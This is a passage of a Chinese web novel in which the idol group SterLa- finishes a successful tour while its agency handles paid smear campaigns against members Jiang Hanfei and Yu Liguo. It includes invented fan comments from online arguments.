“SL-01543号。”台上的葛文山念出他抽中的数字。 镜头一阵扫射，最后定格在开直播的女生脸上。 她脸上还挂着没消化完的惊喜和惊讶。 站起来的时候网上不少人都说她是超级幸运儿，毕竟没人赶上打歌末场拿到了特别应援礼物，又赶上巡演首场拿到了第一批应援棒，现在还被抽中获得特别定制版！ 女生接过话筒时手还在颤抖，她是第一次在几万人的注视下说话。使劲儿催眠自己没事，情绪稳定一点后才开口念着小贺卡上的内容，“谢谢你来我们的巡演。” “你们的灵魂拍打着我的灵魂，就像一千只蝴蝶的翅膀，我闭上眼睛，感受灵魂的振动。”【注】 第70章 SterLa-首场巡演非常成功。首巡十点结束之后，兴奋和落差感让粉丝们在网上又笑又哭，不断有真情实感的帖子和视频更新，让热搜一直持续到凌晨掉出榜单。 首场结束后同时上架线上的应援棒更是直接卖断货，一期备货10万件，结束当天晚上直接售罄。更不用说热搜带来的粉丝增长。一场巡演带来的相关效益强的可怕。 而且去过现场的，几乎是一水的好评。舞台质量和现场氛围网上流传出来的视频已可见一斑，几乎可以与巡演多次的大热男团相比，好几个单人直拍视频播放量高得恐怖。更别提在现场真实感受过这场视听盛宴的人，全程无尿点。 如果这样的评价只一个两个说，还有可能是粉丝滤镜。但是百分之八九十都这么说，其中包括一些被朋友拉去带着挑剔眼光的路人也这么说，那就假不了。 如潮好评让没买到票的粉丝们更是心痒痒，SterLa-后续几场的票都是开票即秒切。当这成为一种常见的现象时，网上也再没人怀疑这些消息是乐狮故意放出来唬人的。 毕竟首场的100%上座率视频网上随处可查。那些先下场开嘲讽的，现在脸已经肿得不成样子。 SterLa-后几场的表演也没让大家失望。每一场都有新的人在网上感慨，SterLa-的演唱会真的超值，全程都跟着一起High了，唯一不友好的地方是对他们的嗓子很不友好，叫得太上头太兴奋，结束后发现自己嗓子哑了。 于是网上逐渐出现一些参加SterLa-演唱会的小攻略，里面有一条被加粗高亮：多带金嗓子！ 今天他们刚结束在外市的倒数第二场，正在赶去机场回他们的大本营，准备首次巡演的末场。 “阿飞！再见啦！！” “小花我们下场见！” “葛老师葛老师，看我看我！” 送机的人围了一圈。 相比以往，现在的他们已经很是熟练地跟大家边走边交流，挥手，比心，尽可能地回应着粉丝们的呼唤。 这次巡演出来，每到一个地方和离开这个地方的时候都会有他们的身影，没有什么其他的要求，只是想在他们在这儿的时候能多看看他们一眼。 世界这么大，距离这么远，不是每一个人都能去看巡演，看打歌，参加签售。也许这一辈子，他们只能相见这一次。 怀着这样的想法，SterLa-他们巡演期间在机场没有走过一次VIP特殊通道。 哪怕是为了不被拍到机场丑照，需要他们凌晨三四点起来化妆，然后就为了这十几分钟，在飞机上也不能睡觉休息，他们都挺过来。 在入关前，几人特地转身向粉丝们挥手拜拜，“我们走啦！下次再见！！” 然后在粉丝们不舍的目光中过关。 入关后周围还有好几个跟拍的人，对这些人他们就没再进行互动或者给反应。 这是公司在上次私生事件之后特意给他们做的培训，入关之后再拍照的，就不是单纯的粉丝属性，让他们面对这些人的时候不要给任何反应。 他们一旦给了反应，这些人发到网上，总有不明真相的粉丝会关注追捧，越这样会让他们越猖狂。 临上飞机前，唐君君接到一个电话面色忽地沉下来。 几人原本在各玩儿各的，察觉身边氛围不对，低着头对视几眼，传递着只有他们自己懂的信息。 “你们几个先回去，我有事要改签。”唐君君挂断电话，让欣怡带着他们，自己则直接拿着行李转身出去。 SterLa-几人面面相觑，这都过关了还出去，“欣怡姐，是出什么事儿了吗？” 欣怡想到刚刚君君姐给她说的话，安抚道，“没什么事儿，你们先登机。现在这么晚了，我们又是临时改签到今天晚上飞，那边估计没有粉丝接机，你们可以在飞机上好好睡一会儿。” 言罢几人点点头，不再追问。唐君君是他们的负责人，手里的事务很多，总不能什么都跟他们说的。 不过没有其他事，而是于立果是于部长儿子的事情被曝到网上。 二专前江翰飞被曝说是空降的关系户，后续乐狮态度强硬直接上证据澄清了这件事，还倒吸了一波粉丝，拿到一波流量助推他们二专销售再涨一波。 本来风波早已结束，但现在有狗仔不知道从哪儿知道于立果是于部长的儿子，在网上买了一条热搜，重启话题，话里话外还带上当时的江翰飞，不仅说于立果才是真正的空降关系户，而且还说江翰飞当时的传闻是在拿他挡刀。 两边粉丝被挑起情绪，加上一波‘吃瓜路人’不断拱火，帖子评论区已经吵出浓重的火药味。 乐狮公关部的人作为专业的运营人员，却一眼看出这就是故意在挑拨两人的粉丝，拖团下水。 “上次准备的公关计划还能用吗？”唐君君开口问道。专业的事就要找专业的人，公关的事儿自然是要找公关部的负责人。 “当然不行了。”那边传来无语的声音，“这次情况和上次不一样，这次除了说于立果时关系户以外，最大的营销矛盾点是于立果背刺江翰飞。” “这次的事儿是冲着SterLa-团粉来的。” SterLa-虽然出道还不到一年，但现有粉丝体量已足以媲美不少出道几年的热门男团。更别提这次巡演前前后后上了十几个热搜，粉丝增量在数据表上看几乎是直线向上。而在所有粉丝占比中，团粉几乎占大部分。这里的团粉是指，喜欢整个团，哪怕有偏向，会更喜欢其中的某一位成员，也是喜欢的程度不一，不会讨厌某一位成员。 对一个男团而言，尤其是一个热门男团，这是很少见的事儿。一般越出名的男团唯粉的体量越大，这是圈内共识。 而SterLa-在坐拥这种粉丝体量和粉圈构成的情况下有人想恶意破坏完全不奇怪。只是这个角度过于刁钻。 “他们现在应该已经上飞机，这几个小时都是断网的。”唐君君说道，“最好能尽快找到解决办法，我不想我的人因为这些事儿受到影响。” “哟，我们大名鼎鼎的君君姐也有心软的一天啊？”那边传来调侃的声音，“当初是谁说要跟他们平等沟通让他们也知道圈内黑暗的？现在舍不得了？” “该知道的我会让他们知道，但不是这种无解的状态。现在他们知道除了焦虑没有任何作用。”唐君君丝毫不受对方影响，皱眉沉声，“他们是偶像，不是公关。” “行行行，我是我是。”对面显然知道唐君君的意思，“别点我了，我会加急处理。” “多久？” “尽快，这事不难。” 那边声音的放松也让唐君君的神经松弛下来。“那就尽快吧。最好在他们下飞机之前，我能得到确切的解决方式。” 公关部负责人没接唐君君的话，挂断电话后点点正显示热搜词条数据的电脑屏，“幸好这小子虽然算半个二代，但没做什么出格事儿。老老实实练习了两年，最后能成团也是真靠自己实力进去的，还有证据和记录。” “真是恰好撞在手里了。”她哼笑一声，“挑拨谁不好呢，偏偏挑拨这两个关系最好认识最久的。” 网上的粉丝们看到营销号发出的言论第一时间也是无语，毕竟之前江翰飞是关系户的事情本就闹得全网皆知，现在突然又说关系户不是江翰飞是于立果，这不是搞笑吗？ “不是吧？先前说阿飞是关系户，现在又改口说我们于小花是关系户？好好好，我们SterLa-全是关系户行了吧？” “真搞不懂，怎么又来，黑过的素材都不知道换一下吗？” “于立果他哪儿像关系户了？而且少挑拨他和江翰飞之间的关系，我一个唯粉都知道，他们两就是全团关系最好的两人。” “就是，但凡是了解SterLa-的都是知道他们团内关系超好，不然你们这些黑子以为数量庞大的团粉怎么来的？” “滚，不要挑拨我们SterLa-的关系，他们好着呢。” “” 但终归还是有部分粉丝受到影响开始质疑，尤其中间还夹杂着不少自诩路人的言论。 “当初江翰飞关系户的谣言只是证明他自己不是，不代表其他人不是，这个瓜我先留个屁股。” “于立果真的有可能吧，他不是他们团的颜值低洼吗？粉丝数量也是他们团最少的吧？” “我也看不惯他，每次吴队想要说什么就要去接话，抢别人话题，真把自己当副队长了吗？” “你们不要太搞笑，轮你们这样说每个团颜值最低的和粉丝数最少的都是关系户了？” “我真的球球你们，粉SterLa-真的一点东西没学到吗？《唇枪舌剑》讲什么你们不清楚吗？能不能理智一点，客观来看啊？” “” 网上吵成一团，唐君君为了随时能和公关部负责人沟通，没有改签，换成了高铁。正坐在位置上凝眉刷着网上言论。 “当初知道于立果的确是于部长儿子的时候就做了后续的准备，只是当时准备用其他事情来转移视线的，现在那件事情已经不值一提，我要重新计划。” 公关部负责人那边是这么跟她说的。 上次明里暗里拉着江翰飞，团队一起下水，这次又是挑着江翰飞和于立果之间的关系。 明显就是想压制江翰飞。最近他风头太盛，几乎是已经成了SterLa-队里默认的Top，难怪什么人都下手想狙他。 虽有树大招风的说法，但大树也足够稳定。而想砍断这棵树的最佳时机，在这棵树还小，根系还未深入地里抓稳土壤时下手。 唐君君页面一刷新，新的营销号文章出现。随之而来的还有明显被买的黑热搜：#江翰飞整容 这明显的针对让她本就憋着的火气翻涌一阵，又强自冷静，当即打电话给公关部负责人。 “嗯？又是黑热搜。”对方正在审手下递交上来的于立果洗白公关文稿，还没看完就接到唐君君的第二个电话，“我先看，回聊。” 一次性出现两个黑料，两个队员，一前一后。这明显是要干一波大的。 公关部负责人拍拍手：“来大活了。大家今晚全员加班，我给大家点咖啡，加班的换到后面调休，给三倍工资。” “事情解决的够快，我再单独给大家发奖金。” 这下正顶着困意等自己上司审稿的众人总算能打起精神，做这一行的通宵也是常态。 “老大，这两边不是一家的啊？” “怎么说？” “我查了他们最开始发在网上的源头博文，发表的时间基本上前后不超过一个小时，如果是一家要专门策划要整我们的话不会这样子发。” “这两条黑料捏在手里冲两拨热度才会最大化价值。” 不是一家。两家。一个是SterLa-练习生时期的黑料，一个是公司内部才知道的料。 所有信息在负责人脑中转了一圈，给唐君君去了一个电话。 “啊——睡得好好。”禹安撑一个懒腰，听着骨头啪啪响。 于立果扭扭头，“我也是，之前在飞机上都不敢睡，但是今天睡得格外的好。” 几人站起身准备下飞机坐车回公司。 江翰飞打开手机网络，刚打开就弹出一大堆消息提示，大部分都来自于时元，但还有两个少见的名字，宋文斌和高崎。 他疑惑点开宋文斌和高崎的消息，很意外的竟然都在询问他于立果有没有和他在一起，后来又问江翰飞自己的情况怎么样。 时元的消息有几十条，中间还给他打了微信电话，消息中反复提到说要去帮他们怼那些乱说话的。 江翰飞意识到，应该是出事儿了，迅速切到自己的社交账号。 热搜榜单，他和于哥的名字就挂在前排： #江翰飞整容 #于立果 关系户 #江翰飞挡枪 #SterLa- 黑心团 70-80 第71章 铺天盖地的热搜和评论仿佛当时某人塌房时的盛况。 江翰飞点进顶部热搜第二的词条#江翰飞整容。 里面第一条置顶热门博文是他两个时期的对比图，一张是他练习生时期刚被系统提溜到公司，穿着个拖鞋站在舞蹈教室最后面的黑瘦样子；一张是近期SterLa-二专预售期他的精修官宣图。 两张图放在一起，带着文案：LS娱乐找的老师制造工艺真不错啊，给我也推荐一下呗[笑]。 文案一句话直接点燃粉丝们的怒火。这不就是在明着嘲讽江翰飞是整容的吗？！ “乐狮告的人还是少了，几天不见，又有一些跳蚤觉得自己又行了。” “一看就知道，动鼻子，削下颌线，开眼角，颧骨也整了吧？” “仔细看这五官有区别吗？怎么人张开变白也是整容？你生下来就是你那一副猪脸吗？” “科普一下，上一个这么造谣江翰飞的现在博文已经清空了。” “**玩意儿，别让我逮到你的真实地址。” “纯路人，真的差别好大啊。” “支持开盒，什么猪狗都来蒙着脸造谣。” “自己看看，五官有区别吗？[图][图]” “” 江翰飞认真地看小蝴蝶们努力帮他解释的话，大拇指不自觉地摩挲着手机侧边。 尽管大部分路人都不信，但他的粉丝真的很努力在为他解释。 他也能理解那些说长得不像的，毕竟他自己看都觉得差别实在是太大。 当初刚进公司的时候正是他打暑假工的时期。除了奶茶店的兼职，还天天在外面跑，整个人被晒黑再正常不过。而且晒黑那算什么，晒脱皮他也有过，整个人像蜕皮的蛇。 但现在的江翰飞，每天认真遵守着公司护理老师的要求，做作业一样对自己做皮肤护理。皮肤除了最近因为巡演熬夜熬出的黑眼圈外，整个白皙光滑，俊逸疏放的眉眼里又蕴含着一股灵秀气，整个人散发着勃勃生机。 用粉丝们的话来说，整个人像是笼罩在一种又明亮又让人觉得内敛温柔的光里。禹安看到这个评价还发截图笑他，“你也是佛光笼罩了。” 想到这儿江翰飞忍不住嘴角露出个笑。 继续往下拉，连着翻看几页都是在吵他到底有没有整容就不再在意。这个热搜很好澄清，他是真没有整容，公司只要把他的练习视频调出来，带上日期，粉丝们自然会看到他是怎么从当时又黑又瘦变成现在的样子。 接着他点进于立果的热搜。自己被造谣时空降到SterLa-的关系户时，于立果还跟他道过歉，当时还莫名其妙为什么于立果要跟他道歉。不过也因为于立果的道歉和坦白，江翰飞知道于哥的父亲还真是公司主管艺人部的于部长。 乐狮下一共就几个部门，除开大老板和几位副总，部长确实是公司的高层。 这种要怎么解释呢？ “那个姓于的能不能自己主动点退团啊？其他四个都是好宝宝，别拉我其他宝宝下水。” “早就看他不顺眼了，平时就爱现。队长讲什么都喜欢凑上去抢话。” “就是，不知道的以为你SterLa-有两位队长呢呵呵” “少骂我们小花，每次都是镶边的位置，最垃圾的资源，他有臭脸过一次吗？这个时候骂他，那他关心你担，给你担拿衣服的时候是闭眼装瞎吗？” “别这么对他，他真的很在乎这个团。” “一个关系户这么多狗腿子护着？别人的努力不值钱？” “” 江翰飞一边忧虑一边往下滑动，话题里大多都在骂于立果和说于立果拖团队后腿，看的江翰飞心里一阵难受。 于立果做了多少，对朋友有多照顾多仗义，江翰飞是最清楚的。 团队里，自己和山哥不爱说话；禹安性格跳脱嘴巴得理不饶人，吴星雨经验不足有时候比较急躁。他们几个人很多时候都在靠于立果调和关系，比如有谁尴尬接不上话，谁感到窘迫了；或者两个人吵着玩儿吵着吵出真火气了；谁最近在网上被骂导致心情低落了 这些时候都有于立果出来缓和或者安慰的身影。几个男生住在一起有矛盾有争执再正常不过，但是因为有于立果，大家之间的矛盾没有一个成功过夜，尤其是队内有什么事情，只要是于立果能帮到的他一定会帮。 在其余四人之间，都默认吴星雨是对外的队长，于立果是他们内部的队长，都服气于立果的细心和沟通协调能力。于哥能有这么多女友粉，也不是白来的。 但是现在网上这些人把于哥都说成什么样了？ 江翰飞蹙着眉下意识抬头看向走在前面的于立果，他昂首挺胸，大步向外走。 也许是手机还没开机，没看到网上的风暴。 他下意识地想。 于立果似乎有所感，转过头来正好对上江翰飞的视线。停下脚步，等着江翰飞走到他旁边。 “怎么？这幅样子？” 江翰飞低着脑袋摇摇头，打算先去问欣怡姐公司那边有没有在处理，再给于哥说。 正好这时，欣怡过来，把他们五人拉在一个角落里嘱咐道，“君君姐刚刚给我电话，让你们别管网上的事儿。“ 江翰飞低着的头倏地抬起，看着欣怡，似乎有所感她接下来会说什么。欣怡没注意到江翰飞动作，只接着说，”姐让你们把全部精力放到巡演末场。她那边已经在着手解决。” 江翰飞又不自觉地转头去看于立果的神色，却见于立果一幅泰然平静的样子，似乎都不知道网上的风暴与自己有关。 他欲言又止。 给于哥说的话，于哥后面肯定会难受，要不给于哥说又好像是自己对于哥有所隐瞒，心里过不去， 于立果看着江翰飞纠结的神色，不用多想，于立果把最近的事儿在脑子里转一圈，立即知道江翰飞纠结又担心的眼神是怎么来的了。感觉心里暖的同时又哭笑不得。 这小子该不是以为自己还不知道吧？ 公关部收到消息开始处理的时候，他爸早给他通消息了。不过见着江翰飞的神色，总觉得这弟弟没白疼。 “好了，别想太多。”于立果拍拍江翰飞后脑勺，“公司那边会处理好的。” “担心我不如担心一下自己练习生时期的黑照要流传出去了。”于立果笑道，“互联网可是有记忆的，到时候说不定还会被做成表情包。” 江翰飞虽然偶尔呆，但不傻。 听这话当即明白于立果估计早知道网上的事儿，“好，于哥也别担心，别想太多。” 江翰飞见于哥还有心情开玩笑，也跟着放松下来。思索一阵儿，又说，“可以的话，我也去帮你澄清。” 他看到的时候就想登陆账号帮于立果澄清，但编辑好之后他才想起自己现在身陷整容风波，可别跟于哥‘交叉感染’了。江翰飞想到，况且现在没有君君姐的允许下也不能说。 “我看你是想挨揍。”于立果一把拍在他后背上，“欣怡姐刚说了，君君姐让我们把全部精力放在末场巡演上。” “你还在这儿考虑上澄清了。”于立果侃他一眼，“闲的。待会儿让吴队给你加练。” 江翰飞看着于立果脸上神色是真轻松，他放下心。 于哥肯定能解决，而且如果于哥都不在意，他还一直提只会让人不断地陷入“我在网上被曝光”的感觉。 不如闭嘴。 想着，江翰飞一边跟着前面的人潮往外走，一边错开于立果落在后面，悄悄给唐君君打去电话。 跟着唐君君已经一年多了，但是江翰飞迄今为止只给唐君君打过两次电话，第一次是时元的问题，第二次就是于立果的事儿。 “喂？” 电话接通，对面的唐君君语气有点不耐，“有什么事儿，说事儿。” “君君姐，你有看到于哥的热搜吗？” 唐君君嗯了一声，“我不是跟你们说了把全部精力放在巡演上？这是你该问的问题吗？” 江翰飞反应过来自己刚刚说的是句废话，听出君君姐已经很不耐烦，怕她挂断电话赶紧说道，“我就是想知道，于哥的事儿会怎么处理？他虽然是于部长的儿子，但是练习也很认真，等级也是自己升上来的。” “当时音乐老师也夸于哥有天赋。” “而且他是合宿期就和我们一起练习的。” “他的事儿你问这么多不如关心下自己。”唐君君烦躁地说了一句，脱口而出后随即又缓和。江翰飞和于立果关系好，问是正常的，只是她刚刚睡下没有几分钟被江翰飞的电话吵醒，实在是有些忍不住脾气。 唐君君控制自己的情绪平静下来，深深呼吸，“刚刚有点情绪。于立果的事儿和你的事儿我和公司这边已经着手在处理，听欣怡跟你们说的话。不要管也不要回应，好好准备后天的末场演出。” “好的君君姐，如果于哥澄清需要作证我可以作证的。”江翰飞马上回复。刚接电话的时候唐君君的声音很沙哑，自己好像是吵到她睡觉了。 近期巡演忙碌，他们忙，唐君君更是日程满满。估计君君姐已经处理得差不多，自己这一通电话可能反而打扰到她了。 挂断电话，江翰飞追上前面队友们的脚步，把热搜的事儿扔出自己的脑子，专心考虑接下来的巡演末场。 第72章 这边的唐君君却睡不着了。揉着太阳穴坐起身看向窗外，列车疾驰，外面深夜黑沉，窗上只能映出她带着些烦躁的冷脸。 打开手机，登上自己的账号，热搜前排还高高挂着两人的词条，尽管现在已经凌晨，但词条热度不减，更有许多想踩着江翰飞上位的公司带着自家营销号在词条下暗暗引流。 @偶像成长记录：连夜整理，各位当红炸子鸡的成长轨迹图，你更喜欢谁呢？[图][图][图] “这热度也蹭，有病？” “亲亲我的浩浩！性格超好，有颜有实力！” “我家也是升咖了，也能跟各位大前辈比肩了[微笑]” “果然美人还是得看我K家的，前辈的素颜生图随便拉一个出来都能打。” “谁垫底，谁丑，谁整容，我不说。嘻嘻” “” 唐君君随意翻了几条博文，内容都大差不差。她倒不生气，只是觉得这次的事情很奇怪。 于立果是于部长儿子的事情公司里知道的人少之又少。就连她和公关部的负责人也是因为上次江翰飞被造谣是关系户的事件才得知。于部长和于立果都不是傻子，不会把事情到处说，那买黑热搜的人是怎么知道这个消息的呢？ 而且公关部那边跟她说，给于立果和江翰飞买黑热搜的不是同一家。 江翰飞虽然招人眼，但他练习生时期的照片录像少有流出。所有练习生都在进公司的时候与公司签过协议，泄漏需要承担的巨额违约金如果不是有人担责，谁敢这么传？娱乐圈公司的法务在追责索要赔偿这方面也算的上是各行业中的翘楚，颇有经验。 况且这次流传出去的视频最大的漏洞是那视频明显是公司监控视角，还是江翰飞第一天进公司，舞蹈室的监控录像。 她想起公关部负责人跟她说的话：“你自己想想最近公司里和你身边的人，尤其和他们有交集的，有没有谁异常。” 唐君君靠回座椅，闭目养神，脑子里开始一个个过滤近期和SterLa-有接触的人。 网上的‘狂欢’持续一整晚，到第二天一早于立果和江翰飞的词条都还挂在热搜的尾巴。 于立果的粉丝们有些着急，怎么江翰飞当时的热搜公司能处理得这么快，到了于立果，公司连屁都不放一个了？ 但现在江翰飞的黑词条也还挂在热搜上，她们又不能明着说公司偏心江翰飞，只能憋着火一个劲儿在公司最新一条博文下骂公司不做人。 江翰飞的粉丝们也在等公司的澄清。但毕竟是经历过好几次黑词条上热搜的粉丝，早就练出心态和一系列应对措施。一边去催着公司处理，一边由反黑站带头举报黑词条的热门博文，又集体转发评论大粉的正面博文，让这个博文把黑词条下的热门顶下去。 “飞哥，你和于哥现在怎么样啊？”时元瞅着空隙，一早给江翰飞打来电话。 “没事，别担心。”今天SterLa-要在末场的场馆彩排，他们一行五人已经到达场馆，“我和于哥都好好的，你也别看网上的热搜，公司说会处理。” “可是现在还挂着呢，公司真会处理吗？”时元凑手机更近些，压低的声音很是担心，“我感觉公司都不怎么做事也不管什么事。” 江翰飞想到唐君君，欣怡和随行的工作人员们，“君君姐说他们会处理的。” 听到唐君君，时元想起那个戴着眼镜，站在车门前十分有气势的姐姐，“噢，那好吧。” 顿了一会儿，声音又有些低落，“我想帮你和于哥澄清的，但是团队经纪人改了我的账号密码，不让我发。” 江翰飞眉心一皱，“他直接拿你手机改你账号密码？” “刘哥没阻止吗？” “没有没有。没拿我手机，我的账号本就登在他们手机上的，平时都是他们在管理和发博文。”时元解释，习以为常，“就是这次我跟团队经纪人申请发博文给你们澄清他没让。” “没事。你不用发，专心做好自己的舞台。”江翰飞声音和缓。眉头没松开，嘴上先安抚道，“我听见刘哥在喊你了，快去吧。” “等我和于哥结束巡演有假期了就去给你探班。” “好！到时候你们提前跟我说，我让刘哥去接你们！”时元一秒开心，决心待会儿拍戏的时候好好努力，代入情绪，争取不被导演骂！ 挂断电话。 站在一边正在任由造型师给他比划衣服的于立果开口问道，“是小元儿吧？” 江翰飞点点头。他们今天有个增加的环节，需要额外彩排，一大早就到会场做准备了。 于立果了然，摇摇头，“昨天晚上发信息轰炸我，好说歹说才让他先去睡觉。” 江翰飞眨眨眼看着于立果，虽然于哥嘴巴上一副嫌弃的样子，但是开心是掩盖不住的。 对于哥来说，网上的风雨好像不如他弟弟们的关心来得更让他在意。 在一旁装不在意实际偷偷竖着耳朵听的吴星雨和禹安对视一眼，意味深长。 “咳！”于立果也发现自己语气的不自然，强行掩饰，“刚刚君君姐到了，让我找你的时候见你打电话，跟她说打完电话你去找她。” “好的。”江翰飞配合地没拆穿，转身去隔壁找唐君君。 等待让人焦灼，直到第二天晚上，乐狮也没有任何动静。 网上关于江翰飞和于立果的热搜已经掉出排行榜，但在追星圈内仍是热议的大事件，圈内都在等着事件处理后续。又因为乐狮的沉默掀起另一场猜测的狂欢。 “对比以往乐狮强硬又快速的澄清速度，这次的两个热搜词条连个声明都没发，这是坐实两条都是真的了？” “我也觉得，不然之前发声明发的那么快，这次怎么没话说了？” “不可能吧？江翰飞和于立果平时的互动看起来关系真的很好啊，这也能装出来吗？那我建议他们两人早点转行去拍戏吧，演技这么好别浪费了。” “楼上别傻了，你看到的都是乐狮他们放出来的，真有问题的部分能放出来让看到？” “人间大清醒。之前被粉丝宣传的超绝团魂吸引入坑，现在看都是假的！” “同事罢了，别要求太多。” “为什么没人说江翰飞整容啊？整的真好，不是对比图出来我都不敢信是整过的，太自然了。” “江翰飞粉丝即将到达战场，楼上你安息。” “安息，我纯路人也知道他粉丝疯得很，之前把一个黑粉开盒了，好像把那个号直接干到对方主动销号了。” “我倒觉得真有富二代媚我，哄我开心，更有感觉，反正我还挺喜欢他嗓音的，沙沙的很适合哄睡。” “少造谣，你家住太平洋监视全宇宙啊？开盒你知道，对方销号你也知道，装什么路人，下场无路人不知道吗？” “滴！果然闻着味儿就来了。” “我真的好伤心啊，为什么公司不澄清啊？” “” 圈内最近也没其他大事，营销号几乎是逮着这件事薅流量。 现在乐狮，江翰飞，于立果就是他们的流量密码，只要带上几人的话题，阅读量和互动总不会低，发乐狮默认词条；粉丝心碎要退票；SterLa-和两人的账号掉粉 结果退票博文下干出上百条评论全是‘别退票，求转让给我，价格好商量’的评论。这个反应又让营销号截图，抓着SterLa-粉丝盲目溺爱的点隐晦发文，再赚一波流量。 圈内一直热闹到第三天SterLa-的末场当天。 末场的周边即使不是特别款，也还是排上了长长的队伍，其中不乏专业代购。代购圈都知道，SterLa-的周边只要能买到，就不怕出不了手，多的是H价要买的。就算公司已经自网上发布购买链接，但也有富婆不想等公司慢吞吞地生产，直接高价买现货。如果不是每人限购两份，来的代购只会更多。 公司市场部的人专门过来看过几圈，见销售情况和前几次差不多，没受到网上言论的影响放下心，赶紧把之前压着的周边订单下给工厂，催着那边赶紧做货。 公关部这两天一直不澄清，搞得他们这些市场部的人也为难。要真口碑直接崩了，做那么多周边出来可全得砸手里。 就为这，他们比网上的粉丝催公关部催得还紧。不仅线上催，线下更是直接堵在公关部办公室追问过好几次，得到的回复只说让他安心下单，后面会澄清。 市场部的人摸不着头脑。虽然他不是公关部的，但是在娱乐公司呆久了，耳濡目染的，不都说公关最追求时效性吗？之前澄清得也很快，怎么这次就不着急了呢？ 来现场的粉丝们不乏担心网上言论情况的，逮着个工作人员也问对方知不知道公司怎么还不处理网上的事情。但巡演的工作人员哪里知道公司公关部的打算，统一回复都只有无可奉告。 四个字由压着火气的现场粉丝们传回自家粉群和超话，又是一阵骂公司不做人的刷屏。 直到开场，大家才把注意力转回巡演。 “啪！”全场灯光暗下。正在网上激烈开麦的粉丝们关掉手机屏，不管了，先看表演！ “啊啊啊啊！”场内粉丝得到即将开场的信号沸腾起来。 “呜呼呼~~”轻轻地吟唱从场内的音响传出。 粉丝们一愣。这是改歌单了？ 之前的巡演不都是二专主打《唇枪舌剑》开场吗？怎么换成一专的《钢铁丛林》了？难道是末场福利？ 意识到末场可能有隐藏歌单福利的粉丝们惊喜的尖叫。发现自己的尖叫声盖过了吟唱声又齐齐捂住自己的嘴巴，瞪大眼睛去看台上和大屏。 第73章 台上的五人身着黑色骑士装，胸前挂着亮闪闪的勋章和链条，腰上系着皮质黑腰带，挺括的裤子扎进黑色长靴，衬得五人又高又瘦。 “这个身材！！” “我爱薄肌我爱薄肌！” “啊啊啊！” 台下粉丝尖叫着，眼睛一眨不眨地盯着台上几人。 大屏摄像头一一扫过他们，颀长窄腰的身材一个不落，转到侧面摄像头看过去时，几乎都是薄薄的一片。 虽然SterLa-出道后身材管理没人监视，他们也没放松过自己，加上巨大的练习量，他们就没有胖过。圈内盘点纸片人男团爱豆的视频里，SterLa-成员从没缺过席，被不少迷恋这种纸片人身材的粉丝们哭着喊着不准撸铁。 进入到江翰飞的副歌阶段，大屏镜头向前怼近他的侧脸。 他挑染几缕头发，戴着金属半框眼睛，一条眼镜细银链挂在眼镜前端，时不时地贴着脸颊侧面。他睫毛长而直，大概是靠着睫毛夹才勉强夹出微微的弧度，眨眼的时候纤长睫毛在镜片上扫过；直挺鼻梁，只有驼峰微微突出。 脸侧细银链随着舞蹈动作晃动着，也摇晃着每一个看见他英挺侧脸的粉丝。 稍稍侧眼和镜头对上视线的时候台下发出一阵被美颜暴击的尖叫声。 “啊啊啊啊！” 疯了疯了！ 说江翰飞整容的隆鼻的给我拖出来鲨了！！ 也许是体能在巡演期间又有了提升，跳完开场的《钢铁丛林》他们也没觉得很累。刚刚结束Ending的动作，稍微缓口气就进入下个环节。 “欢迎大家来到我们SterLa-的巡演末场！！”吴星雨举起右手，“我们是——” “SterLa-！！” 台上台下共同高声呼喊着这个名字，不管不顾，声嘶力竭。 “噢噢噢~今天的大家感觉是最热情的呢？”于立果笑着说道。 “你每次都这么说！！”台下靠近舞台的坑里突然传来某位粉丝的高声喊话，引得附近的粉丝们哈哈大笑。 “咳咳，好吧，被大家发现了。”于立果假装苦恼地耸耸肩，“不过我们可没说谎啊。” 他又做出一副认真严肃的样子：“每一次每一场对我们来说，都是最好最热情的一场。” “噫~~”台下粉丝发出不买账的声音。 “哈哈哈哈！”禹安不客气地嘲笑，“于哥，现在甜言蜜语这招已经不管用了啊。” “还是可以管用的。”江翰飞走过去站在于立果旁边，伸手搭在于立果肩上，看向于立果，“于哥，粉丝们不够热情没关系。” “我们来点燃大家的热情吧。” 安静的场内，台下粉丝们睁大眼睛，想看看台上这几个男的想玩儿什么花样 转播大屏上于立果转头看了江翰飞一眼。回过头举起右手大声问道，“大家准备好了吗？” “准备好了！”粉丝们配合地回应。 其余三人也站上前来，与江翰飞和于立果并肩。 “Let''''s get it——！” “燥起来——！！” 随着几人的异口同声，歌曲串烧的前奏响起，激烈的歌曲节奏一秒点燃场馆内的氛围。粉丝们只觉得一股酥酥麻麻的热意从心底钻出来，让他们控制不住地呐喊。 “啊啊啊啊啊！！” 他们高高举着应援棒，随着串烧强烈的节奏一边快乐蹦迪，一边挥舞应援棒，一边还不忘在每个歌曲的应援间奏里大声地喊SterLa-应援口号。 “吴星雨！葛文山！于立果！禹安！江翰飞！SterLa-！！！！” 不管是唯粉还是团粉，这刻把粉圈战争抛在脑后，只想专注地，用力地注视自己的爱豆，看着他在舞台上竭尽全力，看着他每一次踏步，每一个挥手都不遗余力，仿佛想跺碎舞台，撕开舞台周边黑暗的用力。 中途，他们需要从大舞台切换到最前面的小舞台。 五人散开，蹦蹦跳跳地向前面的小舞台奔去，一边不忘跟两边坑里的粉丝们挥手打招呼。 到小舞台中间聚齐，舞蹈丝滑自然地衔接上下一段歌曲，默契而整齐。 江翰飞黑色的眼睛随着附身的动作直勾勾地盯视前方，眼镜上细银链轻轻砸在他脸颊上，反射出点点银色碎光，他仿佛无所觉一般；又在下一个起身时转头不经意地露出微微上翘的眼尾，带出和正面的冷峻完全不同的风味，与台下另一个镜头对视。 拿着摄像机正在跟拍的江翰飞站姐手微微一抖。 江翰飞！你这个小崽子！！上哪儿学的魅惑技能！！！！ 台下的粉丝们跟着台上的爱豆们一起发疯，兴奋尖叫，用力挥舞着应援棒，呐喊着爱豆的名字。场馆内灯光也绚烂变幻着。所有人沉浸在音乐的节奏中一起狂欢，直到筋疲力尽，声嘶力竭。 巡演的歌单几经雕琢才定下，整个过程潮起潮落。 在一首慢歌里，五人巡视一般各自绕小舞台一周，跟自己的粉丝们挥手比心饭撒。江翰飞持续发热一整晚的脑子慢慢降温，这才发现自己脸颊边上有轻微的刺痛感。 感觉不是很强烈，他随意的抹了抹脸颊。 “嘶——”他忘记自己还带着半框眼镜，手指一勾，眼镜边上的细银链不小心被他扯断了，断掉的链子反弹回来打着了他眼睛。他反射性地皱起右边脸颊，远处看不清的粉丝还以为他在做wink。 算了，反正都断掉了。江翰飞索性直接取下了半框眼睛，单手收好揣在裤兜里，跟着伴奏接着唱歌。 